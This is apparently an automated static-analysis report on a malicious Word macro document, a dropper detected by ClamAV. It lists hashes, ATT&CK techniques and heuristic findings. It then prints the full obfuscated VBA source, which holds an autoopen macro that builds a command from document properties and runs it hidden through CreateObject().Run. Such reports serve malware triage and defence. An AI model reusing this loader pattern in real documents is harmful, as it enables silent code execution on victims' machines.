Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 17bba5b4fbf99716…

MALICIOUS

Office (OLE)

60.0 KB Created: 2017-08-22 15:21:00 Authoring application: Microsoft Office Word First seen: 2017-08-27
MD5: 976e7a67fc7a5990074ccf7ffede113a SHA-1: 4cd2d86a34318c9325cd3668500cb225087d8272 SHA-256: 17bba5b4fbf997163f1f0f316b5bc08bd1cdde4e8c4211eb8d2bc151b48b546c
192 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with the signature 'Doc.Dropper.Agent-6337254-0'. It contains VBA macros, including an autoopen macro, and uses CreateObject, indicating it's designed to execute code. The obfuscated VBA functions suggest an attempt to hide the malicious functionality, likely to download and execute a second-stage payload.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-6337254-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6337254-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    TvGgGyTvGgGyTvGgGyTvGgGyTvGgGy = FgVEaFgVEaFgVEaFgVEaFgVEa + "" + ActiveDocument.BuiltInDocumentProperties("Comments") + wTXAmwTXAmwTXAmwTXAmwTXAm + PFWTYPFWTYPFWTYPFWTYPFWTY + fdLEPfdLEPfdLEPfdLEPfdLEP + FAEfxFAEfxFAEfxFAEfxFAEfx + mAdmSymAdmSymAdmSymAdmSymAdmSy + FFyWYFFyWYFFyWYFFyWYFFyWY + HDwbzTHDwbzTHDwbzTHDwbzTHDwbzT
CreateObject(ecngwLecngwLecngwLecngwLecngwL + "").Run$ "" + TvGgGyTvGgGyTvGgGyTvGgGyTvGgGy + wTXAmwTXAmwTXAmwTXAmwTXAm + PFWTYPFWTYPFWTYPFWTYPFWTY + fdLEPfdLEPfdLEPfdLEPfdLEP + FAEfxFAEfxFAEfxFAEfxFAEfx + mAdmSymAdmSymAdmSymAdmSymAdmSy + FFyWYFFyWYFFyWYFFyWYFFyWY + bACphKbACphKbACphKbACphKbACphK, 0
uFbaKuFbaKuFbaKuFbaKuFbaK = VpRzRVpRzRVpRzRVpRzRVpRzR + sFLKebsFLKebsFLKebsFLKebsFLKeb = ZpEYMZpEYMZpEYMZpEYMZpEYM
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
LcfswLcfswLcfswLcfswLcfsw
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8442 bytes
SHA-256: 169afbb6837efde66eadacef7186a5467ae6812d1aa0d426476cb27e71ebb803
Detection
ClamAV: No threats found
Obfuscation or payload: likely
66 of 97 identifiers look randomly generated (e.g. 'mAdmSymAdmSymAdmSymAdmSymAdmSy') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"

Function NVneUNVneUNVneUNVneUNVneU()
Dim HduFrbHduFrbHduFrbHduFrbHduFrb()
SURftSURftSURftSURftSURft = 2365
ReDim HduFrbHduFrbHduFrbHduFrbHduFrb(2365)
HduFrbHduFrbHduFrbHduFrbHduFrb(1307) = CzxxmrCzxxmrCzxxmrCzxxmrCzxxmr
 HduFrbHduFrbHduFrbHduFrbHduFrb(1069) = bUFCabUFCabUFCabUFCabUFCa
 HduFrbHduFrbHduFrbHduFrbHduFrb(2023) = 8442
 HduFrbHduFrbHduFrbHduFrbHduFrb(847) = 2964
 HduFrbHduFrbHduFrbHduFrbHduFrb(1329) = 6415
 For SURftSURftSURftSURftSURft = 1153 To 1334
HduFrbHduFrbHduFrbHduFrbHduFrb(SURftSURftSURftSURftSURft) = SURftSURftSURftSURftSURft
Next
End Function
 
Function CAuuASCAuuASCAuuASCAuuASCAuuAS()
Dim VbbphaVbbphaVbbphaVbbphaVbbpha()
wwDEuwwDEuwwDEuwwDEuwwDEu = 2880
ReDim VbbphaVbbphaVbbphaVbbphaVbbpha(2880)
VbbphaVbbphaVbbphaVbbphaVbbpha(1295) = vWNsvvWNsvvWNsvvWNsvvWNsv
 VbbphaVbbphaVbbphaVbbphaVbbpha(104) = atDvbEatDvbEatDvbEatDvbEatDvbE
 VbbphaVbbphaVbbphaVbbphaVbbpha(1755) = rWGbErWGbErWGbErWGbErWGbE
 VbbphaVbbphaVbbphaVbbphaVbbpha(2062) = wYLVnDwYLVnDwYLVnDwYLVnDwYLVnD
 VbbphaVbbphaVbbphaVbbphaVbbpha(1609) = 9722
 VbbphaVbbphaVbbphaVbbphaVbbpha(103) = 4654
 VbbphaVbbphaVbbphaVbbphaVbbpha(204) = 4205
 VbbphaVbbphaVbbphaVbbphaVbbpha(2043) = 4050
 For wwDEuwwDEuwwDEuwwDEuwwDEu = 1960 To 2016
VbbphaVbbphaVbbphaVbbphaVbbpha(wwDEuwwDEuwwDEuwwDEuwwDEu) = wwDEuwwDEuwwDEuwwDEuwwDEu
Next
End Function
 
Function nHNxXRnHNxXRnHNxXRnHNxXRnHNxXR()
Dim TgTcLTgTcLTgTcLTgTcLTgTcL()
xPkHBxPkHBxPkHBxPkHBxPkHB = 6652
ReDim TgTcLTgTcLTgTcLTgTcLTgTcL(6652)
TgTcLTgTcLTgTcLTgTcLTgTcL(2410) = BtvydBtvydBtvydBtvydBtvyd
 TgTcLTgTcLTgTcLTgTcLTgTcL(4993) = KNwdSKNwdSKNwdSKNwdSKNwdS
 TgTcLTgTcLTgTcLTgTcLTgTcL(2869) = aZvzBtaZvzBtaZvzBtaZvzBtaZvzBt
 TgTcLTgTcLTgTcLTgTcLTgTcL(6029) = gzsdgCgzsdgCgzsdgCgzsdgCgzsdgC
 TgTcLTgTcLTgTcLTgTcLTgTcL(2775) = 8824
 TgTcLTgTcLTgTcLTgTcLTgTcL(2999) = 625
 TgTcLTgTcLTgTcLTgTcLTgTcL(4760) = 4891
 For xPkHBxPkHBxPkHBxPkHBxPkHB = 6380 To 1040
TgTcLTgTcLTgTcLTgTcLTgTcL(xPkHBxPkHBxPkHBxPkHBxPkHB) = xPkHBxPkHBxPkHBxPkHBxPkHB
Next
End Function

Sub autoopen()
LcfswLcfswLcfswLcfswLcfsw
End Sub
Public Function RCTkVFRCTkVFRCTkVFRCTkVFRCTkVF(pxHAbdpxHAbdpxHAbdpxHAbdpxHAbd)
uFbaKuFbaKuFbaKuFbaKuFbaK = VpRzRVpRzRVpRzRVpRzRVpRzR + sFLKebsFLKebsFLKebsFLKebsFLKeb = ZpEYMZpEYMZpEYMZpEYMZpEYM
 BpueXgBpueXgBpueXgBpueXgBpueXg = sWupLsWupLsWupLsWupLsWupL + AxNVwRAxNVwRAxNVwRAxNVwRAxNVwR = WZwhwWZwhwWZwhwWZwhwWZwhw
 baXgKbaXgKbaXgKbaXgKbaXgK = xtxPkxtxPkxtxPkxtxPkxtxPk + rVeEkrVeEkrVeEkrVeEkrVeEk = BeLtMBeLtMBeLtMBeLtMBeLtM
 VCScwVCScwVCScwVCScwVCScw = ActiveDocument.CustomDocumentProperties(pxHAbdpxHAbdpxHAbdpxHAbdpxHAbd)
RCTkVFRCTkVFRCTkVFRCTkVFRCTkVF = VCScwVCScwVCScwVCScwVCScw
uFbaKuFbaKuFbaKuFbaKuFbaK = VpRzRVpRzRVpRzRVpRzRVpRzR + sFLKebsFLKebsFLKebsFLKebsFLKeb = ZpEYMZpEYMZpEYMZpEYMZpEYM
 BpueXgBpueXgBpueXgBpueXgBpueXg = sWupLsWupLsWupLsWupLsWupL + AxNVwRAxNVwRAxNVwRAxNVwRAxNVwR = WZwhwWZwhwWZwhwWZwhwWZwhw
 baXgKbaXgKbaXgKbaXgKbaXgK = xtxPkxtxPkxtxPkxtxPkxtxPk + rVeEkrVeEkrVeEkrVeEkrVeEk = BeLtMBeLtMBeLtMBeLtMBeLtM
 End Function
Public Function LcfswLcfswLcfswLcfswLcfsw()
uFbaKuFbaKuFbaKuFbaKuFbaK = VpRzRVpRzRVpRzRVpRzRVpRzR + sFLKebsFLKebsFLKebsFLKebsFLKeb = ZpEYMZpEYMZpEYMZpEYMZpEYM
 BpueXgBpueXgBpueXgBpueXgBpueXg = sWupLsWupLsWupLsWupLsWupL + AxNVwRAxNVwRAxNVwRAxNVwRAxNVwR = WZwhwWZwhwWZwhwWZwhwWZwhw
 baXgKbaXgKbaXgKbaXgKbaXgK = xtxPkxtxPkxtxPkxtxPkxtxPk + rVeEkrVeEkrVeEkrVeEkrVeEk = BeLtMBeLtMBeLtMBeLtMBeLtM
 ecngwLecngwLecngwLecngwLecngwL = RCTkVFRCTkVFRCTkVFRCTkVFRCTkVF("SYaccSYaccSYaccSYaccSYacc") + RCTkVFRCTkVFRCTkVFRCTkVFRCTkVF("wBNyBuwBNyBuwBNyBuwBNyBuwBNyBu") + wTXAmwTXAmwTXAmwTXAmwTXAm + PFWTYPFWTYPFWTYPFWTYPFWTY + fdLEPfdLEPfdLEPfdLEPfdLEP + FAEfxFAEfxFAEfxFAEfxFAEfx + mAdmSymAdmSymAdmSymAdmSymAdmSy + FFyWYFFyWYFFyWYFFyWYFFyWY + RCTkVFRCTkVFRCTkVFRCTkVFRCTkVF("nsgCZPnsgCZPnsgCZPnsgCZPnsgCZP") + RCTkVFRCTkVFRCTkVFRCTkVFRCTkVF("hTNwuBhTNwuBhTNwuBhTNwuBhTNwuB") + RCTkVFRCTkVFRCTkVFRCTkVFRCTkVF("yPzhFdyPzhFdyPzhFdyPzhFdyPzhFd")
uFbaKuFbaKuFbaKuFbaKuFbaK = VpRzRVpRzRVpRzRVpRzRVpRzR + sFLKebsFLKebsFLKebsFLKebsFLKeb = ZpEYMZpEYMZpEYMZpEYMZpEYM
 BpueXgBpueXgBpueXgBpueXgBpueXg = sWupLsWupLsWupLsWupLsWupL + AxNVwRAxNVwRAxNVwRAxNVwRAxNVwR = WZwhwWZwhwWZwhwWZwhwWZwhw
 baXgKbaXgKbaXgKbaXgKbaXgK = xtxPkxtxPkxtxPkxtxPkxtxPk + rVeEkrVeEkrVeEkrVeEkrVeEk = BeLtMBeLtMBeLtMBeLtMBeLtM
 FgVEaFgVEaFgVEaFgVEaFgVEa = RCTkVFRCTkVFRCTkVFRCTkVFRCTkVF("XFznpMXFznpMXFznpMXFznpMXFznpM") + RCTkVFRCTkVFRCTkVFRCTkVFRCTkVF("uydhcKuydhcKuydhcKuydhcKuydhcK") + RCTkVFRCTkVFRCTkVFRCTkVFRCTkVF("MSkyrfMSkyrfMSkyrfMSkyrfMSkyrf") + RCTkVFRCTkVFRCTkVFRCTkVFRCTkVF("bKSHSbKSHSbKSHSbKSHSbKSHS") + RCTkVFRCTkVFRCTkVFRCTkVFRCTkVF("HKHuWHKHuWHKHuWHKHuWHKHuW") + wTXAmwTXAmwTXAmwTXAmwTXAm + PFWTYPFWTYPFWTYPFWTYPFWTY + fdLEPfdLEPfdLEPfdLEPfdLEP + FAEfxFAEfxFAEfxFAEfxFAEfx + mAdmSymAdmSymAdmSymAdmSymAdmSy + FFyWYFFyWYFFyWYFFyWYFFyWY + RCTkVFRCTkVFRCTkVFRCTkVFRCTkVF("arrpWXarrpWXarrpWXarrpWXarrpWX")
TvGgGyTvGgGyTvGgGyTvGgGyTvGgGy = FgVEaFgVEaFgVEaFgVEaFgVEa + "" + ActiveDocument.BuiltInDocumentProperties("Comments") + wTXAmwTXAmwTXAmwTXAmwTXAm + PFWTYPFWTYPFWTYPFWTYPFWTY + fdLEPfdLEPfdLEPfdLEPfdLEP + FAEfxFAEfxFAEfxFAEfxFAEfx + mAdmSymAdmSymAdmSymAdmSymAdmSy + FFyWYFFyWYFFyWYFFyWYFFyWY + HDwbzTHDwbzTHDwbzTHDwbzTHDwbzT
CreateObject(ecngwLecngwLecngwLecngwLecngwL + "").Run$ "" + TvGgGyTvGgGyTvGgGyTvGgGyTvGgGy + wTXAmwTXAmwTXAmwTXAmwTXAm + PFWTYPFWTYPFWTYPFWTYPFWTY + fdLEPfdLEPfdLEPfdLEPfdLEP + FAEfxFAEfxFAEfxFAEfxFAEfx + mAdmSymAdmSymAdmSymAdmSymAdmSy + FFyWYFFyWYFFyWYFFyWYFFyWY + bACphKbACphKbACphKbACphKbACphK, 0
uFbaKuFbaKuFbaKuFbaKuFbaK = VpRzRVpRzRVpRzRVpRzRVpRzR + sFLKebsFLKebsFLKebsFLKebsFLKeb = ZpEYMZpEYMZpEYMZpEYMZpEYM
 BpueXgBpueXgBpueXgBpueXgBpueXg = sWupLsWupLsWupLsWupLsWupL + AxNVwRAxNVwRAxNVwRAxNVwRAxNVwR = WZwhwWZwhwWZwhwWZwhwWZwhw
 baXgKbaXgKbaXgKbaXgKbaXgK = xtxPkxtxPkxtxPkxtxPkxtxPk + rVeEkrVeEkrVeEkrVeEkrVeEk = BeLtMBeLtMBeLtMBeLtMBeLtM
 End Function

Function exunBexunBexunBexunBexunB()
Dim BLCFnvBLCFnvBLCFnvBLCFnvBLCFnv()
EwdSRtEwdSRtEwdSRtEwdSRtEwdSRt = 735
ReDim BLCFnvBLCFnvBLCFnvBLCFnvBLCFnv(735)
BLCFnvBLCFnvBLCFnvBLCFnvBLCFnv(599) = uhwLkPuhwLkPuhwLkPuhwLkPuhwLkP
 BLCFnvBLCFnvBLCFnvBLCFnvBLCFnv(66) = bGZSLbGZSLbGZSLbGZSLbGZSL
 BLCFnvBLCFnvBLCFnvBLCFnvBLCFnv(436) = VaAuEVaAuEVaAuEVaAuEVaAuE
 BLCFnvBLCFnvBLCFnvBLCFnvBLCFnv(580) = HmuTtSHmuTtSHmuTtSHmuTtSHmuTtS
 BLCFnvBLCFnvBLCFnvBLCFnvBLCFnv(524) = aTvgyhaTvgyhaTvgyhaTvgyhaTvgyh
 BLCFnvBLCFnvBLCFnvBLCFnvBLCFnv(427) = 6995
 BLCFnvBLCFnvBLCFnvBLCFnvBLCFnv(615) = 3946
 BLCFnvBLCFnvBLCFnvBLCFnvBLCFnv(338) = 7165
 BLCFnvBLCFnvBLCFnvBLCFnvBLCFnv(210) = 3542
 For EwdSRtEwdSRtEwdSRtEwdSRtEwdSRt = 692 To 648
BLCFnvBLCFnvBLCFnvBLCFnvBLCFnv(EwdSRtEwdSRtEwdSRtEwdSRtEwdSRt) = EwdSRtEwdSRtEwdSRtEwdSRtEwdSRt
Next
End Function
 
Function MMhwbUMMhwbUMMhwbUMMhwbUMMhwbU()
Dim SzZvXSzZvXSzZvXSzZvXSzZvX()
RxRVSXRxRVSXRxRVSXRxRVSXRxRVSX = 1181
ReDim SzZvXSzZvXSzZvXSzZvXSzZvX(1181)
SzZvXSzZvXSzZvXSzZvXSzZvX(754) = umrtsaumrtsaumrtsaumrtsaumrtsa
 SzZvXSzZvXSzZvXSzZvXSzZvX(253) = PkPFwPkPFwPkPFwPkPFwPkPFw
 SzZvXSzZvXSzZvXSzZvXSzZvX(544) = DWrZNgDWrZNgDWrZNgDWrZNgDWrZNg
 SzZvXSzZvXSzZvXSzZvXSzZvX(1119) = uccDfuccDfuccDfuccDfuccDf
 SzZvXSzZvXSzZvXSzZvXSzZvX(868) = 4781
 SzZvXSzZvXSzZvXSzZvXSzZvX(443) = 6425
 SzZvXSzZvXSzZvXSzZvXSzZvX(740) = 7034
 SzZvXSzZvXSzZvXSzZvXSzZvX(416) = 761
 SzZvXSzZvXSzZvXSzZvXSzZvX(803) = 9334
 SzZvXSzZvXSzZvXSzZvXSzZvX(387) = 3584
 For RxRVSXRxRVSXRxRVSXRxRVSXRxRVSX = 231 To 639
SzZvXSzZvXSzZvXSzZvXSzZvX(RxRVSXRxRVSXRxRVSXRxRVSXRxRVSX) = RxRVSXRxRVSXRxRVSXRxRVSXRxRVSX
Next
End Function
 
Function zEbwgtzEbwgtzEbwgtzEbwgtzEbwgt()
Dim WLLFzWLLFzWLLFzWLLFzWLLFz()
NAbHYNAbHYNAbHYNAbHYNAbHY = 4204
ReDim WLLFzWLLFzWLLFzWLLFzWLLFz(4204)
WLLFzWLLFzWLLFzWLLFzWLLFz(1990) = sPdxzsPdxzsPdxzsPdxzsPdxz
 WLLFzWLLFzWLLFzWLLFzWLLFz(484) = rRNDUrRNDUrRNDUrRNDUrRNDU
 WLLFzWLLFzWLLFzWLLFzWLLFz(3673) = 965
 WLLFzWLLFzWLLFzWLLFzWLLFz(3383) = 3195
 WLLFzWLLFzWLLFzWLLFzWLLFz(3307) = 1273
 For NAbHYNAbHYNAbHYNAbHYNAbHY = 2412 To 4029
WLLFzWLLFzWLLFzWLLFzWLLFz(NAbHYNAbHYNAbHYNAbHYNAbHY) = NAbHYNAbHYNAbHYNAbHYNAbHY
Next
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.